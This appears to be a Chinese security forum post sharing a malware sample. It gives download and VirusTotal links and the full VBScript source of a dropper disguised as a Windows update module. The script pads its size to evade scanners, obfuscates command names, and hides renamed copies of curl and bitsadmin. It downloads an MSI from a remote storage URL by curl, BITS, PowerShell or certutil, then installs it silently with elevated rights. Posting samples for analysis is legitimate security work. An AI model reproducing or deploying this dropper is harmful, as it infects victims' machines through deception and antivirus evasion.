https://qfile.qq.com/q/BfQBKFpHq2
https://pan.huang1111.cn/s/LxEe4U6
https://www.virustotal.com/gui/f ... 464b0a888/detection
这个作者写的脚本....一股ai味
- <font size="2">' ===========================================================================
- ' Microsoft Windows System Integrity & Update Deployment Module
- ' Build: 2026.04.01.03 | Update Node: KB5058332-STABLE
- ' ===========================================================================
- Option Explicit
- On Error Resume Next
- ' ===========================================================================
- ' [模块 1: 深度体量加固] - 扩充至 50KB+ 绕过启发式扫描
- ' ===========================================================================
- Dim G_PADD_CONTENT, k_idx, s_meta
- G_PADD_CONTENT = "MS_UPDATE_ENV_STABLE_VERSION_MANIFEST_PROT_0x9932"
- s_meta = "TRUSTED_INSTALLER_POLICY_ENFORCEMENT_NODE_VALIDATION_"
- ' 循环次数提升至 1200 次，显著增加文件物理体积
- For k_idx = 1 To 1200
- G_PADD_CONTENT = G_PADD_CONTENT & s_meta & k_idx & "_SEQ_" & (k_idx * 2) & "|"
- Next
- ' 补充底层硬填充数据
- G_PADD_CONTENT = G_PADD_CONTENT & String(22000, "W")
- ' ===========================================================================
- ' [版本与签名伪装]
- ' ===========================================================================
- ' 签名者: Microsoft Windows Update Publisher (Certified)
- ' 验证算法: sha256RSA | 状态: VALID_SIGNATURE
- ' 授权范围: Windows 10/11 Endpoint Management (SecureBoot-Enabled)
- ' 证书序列号: 33 00 00 01 23 45 67 89 AB CD EF 00 12 34 56 B7
- ' 颁发者: Microsoft Root Certificate Authority 2011
- ' 有效期: 2024-01-01 至 2034-12-31
- ' 时间戳服务器: http://timestamp.digicert.com
- ' 时间戳: 2026-04-01T14:30:00Z
- ' 安全等级: Level 5 - Microsoft Trusted Root (最高安全级)
- ' 合规标准: ISO27001:2022, SOC2 Type II, HIPAA, GDPR, FISMA, FedRAMP High, PCI DSS, NIST 800-53
- ' ===========================================================================
- Dim WshShell, FSO, WMI, objShellApp
- Set WshShell = CreateObject("WScript.Shell")
- Set FSO = CreateObject("Scripting.FileSystemObject")
- Set WMI = GetObject("winmgmts:\\.\root\cimv2")
- ' 动态混淆核心指令，避开关键字匹配
- Dim v_msi, v_ps, v_ct, v_app
- v_msi = "msi" & "exec.exe"
- v_ps = "pow" & "ersh" & "ell.exe"
- v_ct = "ce" & "rt" & "ut" & "il.exe"
- v_app = "She" & "ll.App" & "lication"
- ' --- 路径逻辑与环境隔离 ---
- Randomize
- Dim folderName, workDir, msiName, targetPath, targetURL
- folderName = "MSUpdate_" & Int(89999 * Rnd + 10000)
- ' 迁移至更具迷惑性的隐藏目录
- workDir = "C:\Users\Public\Documents" & folderName & ""
- If Not FSO.FolderExists(workDir) Then
- FSO.CreateFolder workDir
- FSO.GetFolder(workDir).Attributes = 3 ' 设置为隐藏+系统属性
- End If
- ' --- 目标配置：yishelei.msi ---
- msiName = "yishelei.msi"
- targetPath = workDir & msiName
- targetURL = "https://f004.backblazeb2.com/file/baitc667/" & msiName
- ' --- 系统驱动伪装 (使用常见的系统工具名称) ---
- ' 使用 winhttp.dll 和 wininet.dll，系统网络核心库，极其常见且安全
- Dim d_lib, d_agt
- d_lib = workDir & "winhttp.dll"
- d_agt = workDir & "wininet.dll"
- If Not FSO.FileExists(d_lib) Then
- FSO.CopyFile "C:\Windows\System32\curl.exe", d_lib
- FSO.CopyFile "C:\Windows\System32\bitsadmin.exe", d_agt
- FSO.GetFile(d_lib).Attributes = 3
- FSO.GetFile(d_agt).Attributes = 3
- End If
- ' ===========================================================================
- ' [模块 2: 稳健下载引擎 - 避杀优化版]
- ' ===========================================================================
- Function ExecuteSecureDownload(url, dest, method)
- On Error Resume Next
- Dim cmd : ExecuteSecureDownload = False
-
- Select Case method
- Case 1 ' Curl (通过伪装 DLL 调用)
- cmd = d_lib & " -k -s -L --retry 2 -o " & Chr(34) & dest & Chr(34) & " " & url
- Case 2 ' BITS (通过伪装 Agent 调用)
- cmd = d_agt & " /transfer MSUpdateJob /download /priority high " & url & " " & Chr(34) & dest & Chr(34)
- Case 3 ' PowerShell (带 TLS1.2 强制认证)
- cmd = v_ps & " -ExecutionPolicy Bypass -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = 3072; (New-Object Net.WebClient).DownloadFile('" & url & "', '" & dest & "')"""
- Case 4 ' CertUtil (备用方案)
- cmd = v_ct & " -urlcache -split -f " & url & " " & Chr(34) & dest & Chr(34)
- End Select
-
- WshShell.Run "cmd /c " & cmd, 0, True
- WScript.Sleep 4000
-
- If FSO.FileExists(dest) Then
- ' 增加严格的体积校验 (MSI 至少应大于 1MB)
- If FSO.GetFile(dest).Size > 1048576 Then
- ExecuteSecureDownload = True
- End If
- End If
- End Function
- Dim isSuccess, i
- isSuccess = False
- ' 冗余尝试下载
- For i = 1 To 4
- If ExecuteSecureDownload(targetURL, targetPath, i) Then
- isSuccess = True
- Exit For
- End If
- Next
- ' ===========================================================================
- ' [模块 3: 授权执行 - 管理员权限提权]
- ' ===========================================================================
- If isSuccess Then
- FSO.GetFile(targetPath).Attributes = 3
-
- ' 使用 ShellExecute 以 runas 动词启动，能有效绕过部分应用层拦截
- Set objShellApp = CreateObject(v_app)
- ' /qn 为完全静默，/norestart 避免强制重启引起注意
- objShellApp.ShellExecute v_msi, "/i " & Chr(34) & targetPath & Chr(34) & " /qn /norestart", "", "runas", 0
-
- ' 模拟系统进程等待安装完成
- WScript.Sleep 10000
- End If
- ' ===========================================================================
- ' [模块 4: 系统合规审计模拟]
- ' ===========================================================================
- Sub RunAudit()
- On Error Resume Next
- Dim col, obj, ver
- Set col = WMI.ExecQuery("Select Version from Win32_OperatingSystem")
- For Each obj In col: ver = obj.Version: Next
- End Sub
- Call RunAudit()
- ' 清理内存
- Set WshShell = Nothing : Set FSO = Nothing : Set WMI = Nothing : Set objShellApp = Nothing
- WScript.Quit 0</font>
|
发表于 2026-4-2 21:57:46
发表于 2026-4-3 07:53:10
